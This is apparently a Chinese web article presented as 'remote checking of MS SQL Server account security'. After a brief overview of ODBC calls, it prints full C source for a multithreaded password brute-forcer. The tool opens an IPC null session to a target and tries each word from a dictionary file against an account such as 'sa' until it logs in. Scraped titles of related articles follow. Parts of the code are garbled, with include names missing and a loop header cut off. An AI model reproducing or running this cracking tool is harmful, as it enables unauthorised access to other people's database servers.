远程检测MS SQL Server账号安全性

server|安全|安全性

ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。  ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。

一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:
<1>启动ODBC数据库应用程序。
<2>与服务器建立IPC SESSION。
<3>创建数据库应用的环境句柄。
<4>创建连接句柄。
<5>连接数据源。
<6>创建语句句柄。
<7>通过上一步创建的语句句柄来执行SQL操作。
<8>释放语句句柄。
<9>要进行多此SQL操作的话,就循环步骤6-8。
<10>断开与数据库的连接。
<11>释放连接句柄。
<12>释放环境句柄。
<13>断开IPC SESSION。
<14>程序结束。

下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。

/**********************************************************
Module Name:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://定义全局变量
char dict[20000][40],//密码字典
UserName[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的正确密码
int total=0;//字典里面单词数量
BOOL Cracked=FALSE;//探测密码成功时此值为TRUE
HANDLE hSemaphore,//信标内核对象
hEvent;//事件内核对象
long MaxThreads,//最大线程数量
ActiveThreads;//活动线程数量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\nPower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nUsage:%s "
"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];

file://打开字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}

while(!feof(fp))
{
file://读取数据到临时变量
if(fgets(tmp,40,fp)==NULL)
break;
file://把从文件里面读出来的最后一位数据[换行符号]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";

strcat(RN,RemoteName);
strcat(RN,"\\ipc$");

nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";

strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
DWORD WINAPI SQLCheck(PVOID pPwd)
{
file://定义局部变量
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API运行返回值
SCHAR ConnStr[200];//连接数据库字符串
long PreviousCount;

file://取得传递过来准备探测的密码
pwd=(char *)pPwd;
file://构造连接数据库字符
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://创建数据库应用的环境句柄
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
ExitProcess(1);
}
file://设置ODBC版本环境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://创建连接句柄
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://连接数据源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://连接失败,函数终止
file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
}
else
{
file://连接远程MSSQL Server数据库成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://断开连接
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://释放连接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://释放环境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://计算当前活动线程数量
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads-->%d.",ActiveThreads);
file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}

////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//线程句柄
DWORD dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//程序运行的起始和结束时间
double duration;

if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目标地址,用户名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://取得并检查用户输入的最大线程数量
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://读取字典中的单词到内存中
if(ReadDic(argv[3])!=0)
return 1;
file://与目标机器建立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
return 1;
}
file://创建事件内核对象[人工重置,初始状态为未通知]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return 1;
}
file://开始计时
start=clock();
file://开始建立线程探测密码
for(i=0;i {
file://探测密码成功后跳出此循环
if(Cracked==TRUE)
break;
file://显示进度信息
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);
file://创建线程
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
file://处理创建线程错误的情况
if(hThread==NULL)
{
err++;
MessageBox(NULL,"thread error","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态
WaitForSingleObject(hSemaphore,INFINITE);
}
file://等待事件内核对象通知,最多等待3分钟
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
case WAIT_OBJECT_0:
printf("\nAll thread done.");
break;
case WAIT_TIMEOUT:
printf("\nWait time out.Exit.");
break;
case WAIT_FAILED:
printf("\nWaitForSingleObject() failed.");
break;
}
file://断开与目标机器的IPC Session
DelIPC(target);
file://探测密码成功后回显信息
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
file://记时结束
end=clock();
file://转换时间格式
duration = (double)(end - start) / CLOCKS_PER_SEC;
file://显示所用时间
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程序在windows2000,vc++6.0环境下编译通过。

时间: 2024-12-28 06:20:24

远程检测MS SQL Server账号安全性的相关文章

保护你的商业数据(NT Server的安全性、数据库SQL Server的安全性和IIS的安全性)

我们来讨论Web 服务器的安全性设置.这包括NT Server的安全性.数据库SQL Server的安全性和IIS的安全性. 注意安装的顺序请你最好按下面的次序安装所有的软件:1.     安装NT Server4.0,最好安装成"独立服务器".2.     安装NT service Pack 3.03.     安装Option Pack 4.04.     安装NT Service Pack 4.0或者更高补包5.     安装SQL Server 7.0 NT Server的安全

Microsoft SQL Server的安全性控制策略

引言 数据库的安全性是指保护数据库以防止不合法的使用所造成的数据泄露.更改或破坏.系统安全保护措施是否有效是数据库系统的主要指标之一.数据库的安全性和计算机系统的安全性,包括操作系统.网络系统的安全性是紧密联系.相互支持的. 对于数据库管理来说,保护数据不受内部和外部侵害是一项重要的工作.Microsoft SQL Server 正日益广泛的使用于各部门内外,作为SQL Server(SQL Server是指Microsoft SQL Server,下文同)的数据库系统管理员,需要深入的理解SQ

ms-关于MS SQL Server的Java连接问题

问题描述 关于MS SQL Server的Java连接问题 最近开发过程中遇到一个很奇怪的问题,我在远程通过JDBC连接到MS Sql server 上,可以正常运行,进行增删改查.但是我把服务放在安装MS Sel Server 的机器上,代码在执行到 rs = stmt.executeQuery(sql); 就进入到等待状态,没有任何反应了.此时后台无锁表.通过远程的代码依旧可以进行增删改查.不知哪位碰到过类似情况?有没有解决方案?远程的是一个云主机 解决方案 服务放到MS SQL Serve

ms sql server 2005数据库日志文件过大,需要清除或者清空

数据库:ms sql server 2005 任务:ms sql server 2005数据库日志文件过大,需要清除. 方法: backup log [你的数据库名称] WITH NO_LOGbackup log [你的数据库名称] WITH TRUNCATE_ONLYDBCC SHRINKDATABASE([你的数据库名称]) 说明: backup log 指定仅备份事务日志.该日志是从上一次成功执行的 LOG 备份到当前日志的末尾.备份日志之后,可能会截断事务复制或活动事务不再需要的空间.

在Linux 下 访 问MS SQL Server 数 据 库(转载)

server 宁 波 保 税 区 官 委 会 计 算 中 心 董 保 华 ---- Linux 作 为 一 个 免 费 的Unix 类 操 作 系 统, 以 其 开 放 性 源 代 码. 多 任 务.X window 等 特 点 为 众 多 的 用 户 所 采 用, 并 有 很 多 企 业 采 用Linux 来 作 为 其 内 部 网 的 全 功 能 服 务 器(WWW,FTP,Email.DNS). 企 业 的 内 部 网 不 仅 要 提 供 文 本 信 息 的 访 问, 还 要 能 提 供

MS SQL Server MFC DAO 类和 MFC ODBC 类:我使用哪个类集?

odbc|server MS SQL Server MFC DAO 类和 MFC ODBC 类:我使用哪个类集?这篇文章详细讲述了 Microsoft Jet 如何使用 ODBC 检索服务器数据.对于所有用 DAO 编写重要服务器应用程序的人,这都不失为一篇必读文章."ODBC:Architecture,Performance,and Tuning",作者:Lambert.Colleen. 本白皮书提供对 ODBC 工作方式的良好概述,并以现实.有用的方式讲述了性能问题. 结论 MFC

MS SQL Server 2000数据转换服务部署

server|数据|转换 1. 目标 MS SQL Server做大数据量传输的时候,我们大多会用到数据传输服务.现在假设,在开发环境下,我们已经设计好了DTS包并且运行良好,接下来我们要做的事情是迁移和部署这个DTS数据包.所以,我们需要把设计环境下的DTS包保存成结构化的存储文件,并且这个文件导入到目标环境下的MS SQL Server中,最后添加作业,让MS SQL Server Angent在我们预期的事情执行这个DTS包完成数据传输工作.其中需要重点解决的一个问题是,在目标环境中,DT

MS SQL SERVER 图像或大文本的输入输出

server 在MS SQL SERVER 安装目录下有个可执行文件叫 TEXTCOPY.EXE 可对 MS SQL SERVER 中的文本或图像数据进行输入输出. 不过你可以在MS-DOS方式下执行textcopy /? 得到它的描述. 下面是这个工具的描述: Copies a single text or image value into or out of SQL Server. The value is a specified text or image 'column' of a si

MS SQL Server查询优化方法(1)●查询速度慢的原因很多,常见如下几种:

server|速度|优化 MS SQL Server查询优化方法(1) ●查询速度慢的原因很多,常见如下几种: 1.没有索引或者没有用到索引(这是查询慢最常见的问题,是程序设计的缺陷) 2.I/O吞吐量小,形成了瓶颈效应. 3.没有创建计算列导致查询不优化. 4.内存不足 5.网络速度慢 6.查询出的数据量过大(可以采用多次查询,其他的方法降低数据量) 7.锁或者死锁(这也是查询慢最常见的问题,是程序设计的缺陷)8.sp_lock,sp_who,活动的用户查看,原因是读写竞争资源.9.返回了不必